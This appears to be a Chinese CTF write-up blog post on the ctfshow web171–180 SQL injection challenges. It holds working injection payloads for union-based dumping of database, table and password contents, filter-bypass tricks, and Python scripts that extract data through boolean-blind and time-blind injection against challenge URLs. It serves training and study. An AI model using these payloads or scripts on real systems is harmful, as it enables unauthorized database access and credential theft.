SQL注入篇1(web171到180)

1.web171

$sql = "select username,password from user where username !='flag' and id = ' ".$_GET['id']." ' limit 1;";

1'or1=1--+

或者-1' or username = 'flag(id=-1不返回后面返回username是flag的这一条)

或者'or 1=1 %23(%23是#的url编码)

2.web172(union select注意列数要一样)

1' union select 1,select group_concat(password) from ctfshow_web.ctfshow_user2--+

爆库名->爆表名->爆字段名->爆字段值

-1' union select 1,database()  --+ //返回数据库名

-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='库名' --+ //获取数据库里的表名

-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='表名' --+ //获取表内字段名

-1' union select 1,group_concat(字段名1 from 表名 --+ //获取字段值,有2个表,第一个表的password内有个值为flag not here,第二个表的password内有flag

3.web173

跟172差不多但是返回三列

4.web174(布尔盲注或者数字替换)

查询结果和sql语句都不能出现数字

布尔盲注

1' OR 1=1 -- + //OR后面条件为真,页面返回userAUTO
1' OR 1=2 -- + //OR后面条件为假,页面返回不包含userAUTO

之后是替换条件语句,改为数据库读取语句。
主要要看几个函数:ascii,substr,length等。 按照群主的讲解,你可以在本地搭建数据库,调试语句。比如 select(ascii(substr(database(),1,1)))>91
大致步骤:查库、查表、查列、查数据。
payload = f"1 or ascii(substr(database(),{i},1))>{mid}# " #查库
#payload = f"1' or ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='note'),{i},1))>{mid}#" #查表
#payload = f"1' or ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)='fl4g'),{i},1))>{mid}#" #查列
#payload = f"1' or ascii(substr((seleCt(flag)from(fl4g)),{i},1))>{mid}#" #查数据

import requests

url = "http://a187af19-f6df-4743-88eb-e329c0392984.challenge.ctf.show/api/v4.php?id=1' and "

result = ''
i = 0

while True:
    i = i + 1
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) >> 1
        payload = f'1=if(ascii(substr((select  password from ctfshow_user4 limit 24,1),{i},1))>{mid},1,0) -- -'
        r = requests.get(url + payload)
        if "admin" in r.text:
            head = mid + 1
        else:
            tail = mid

    if head != 32:
        result += chr(head)
    else:
        break
    print(result)

数字替换参考的这个大佬

ctfshow-web入门-sql注入(web171-web175)_ctfshow web171-CSDN博客

5.web175(时间盲注)

时间盲注

还不是很会写python脚本,还是贴上大佬的脚本

ctfshow-web入门-sql注入(web171-web175)_ctfshow web171-CSDN博客

import requests
 
url = 'http://de93f700-084d-447e-a783-efdbd7efc984.challenge.ctf.show/api/v5.php'
out = ''
for i in range(1, 100):
    left, right = 32, 128  # 设置ASCII值的搜索范围
    mid = (left + right) // 2  # 计算中间值
    while left < right:
        # 这里用ascii函数来获取当前字符的ASCII值,与中间值进行比较,注意这条语句是sql中的用法,在python里获取ascii值是用ord函数
        payload = f"id=1' and if(ascii(substr((select group_concat(password) from ctfshow_web.ctfshow_user5 where username='flag'), {i}, 1)) > {mid},sleep(3),0) --+&page=1&limit=10"
        re = requests.get(url, params=payload)
        time = re.elapsed.total_seconds()
        if time > 2:  # 存在延时,说明当前字符的ascii值大于我们的中间值
            left = mid + 1  # 调整查找的范围,既然大于那说明ascii值是在中间值的右边,将中间值加1
        else:  # 不存在延时,说明当前字符的ascii值小于中间值,在左边
            right = mid  # 左边起始位置不变,将右边的查找范围调整为中间值
        mid = (left + right) // 2  # 无论查询字符在左边还是右边,中间值都等于更新后的right+left再整除2,之后继续执行while循环,直到找到目标字符的ascii值,left=right,退出while循环
    print(mid)  
    out += chr(mid)
    print(out)

6.web176

过滤了select可以大写绕过

或者1’or 1=1 --+

7.web177

或者用/**/绕过:’or/**/1=1/**/%23

8.web178

ctfshow web入门 SQl注入web171--web179-CSDN博客

/**/和空格被过滤,用%0b垂直制表符或者%09tab水平制表符代替空

9.web179

1'%0cor%0c1=1%23(也可用%0c:换行符代替空格)

或者1'or'1'='1'%23

或者-1'union%0cselect%0c1,2,password%0cfrom%0cctfshow_user%23

10。web180

--%0c可代替#(%00可绕过#

'or'1'='1'--%0c

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值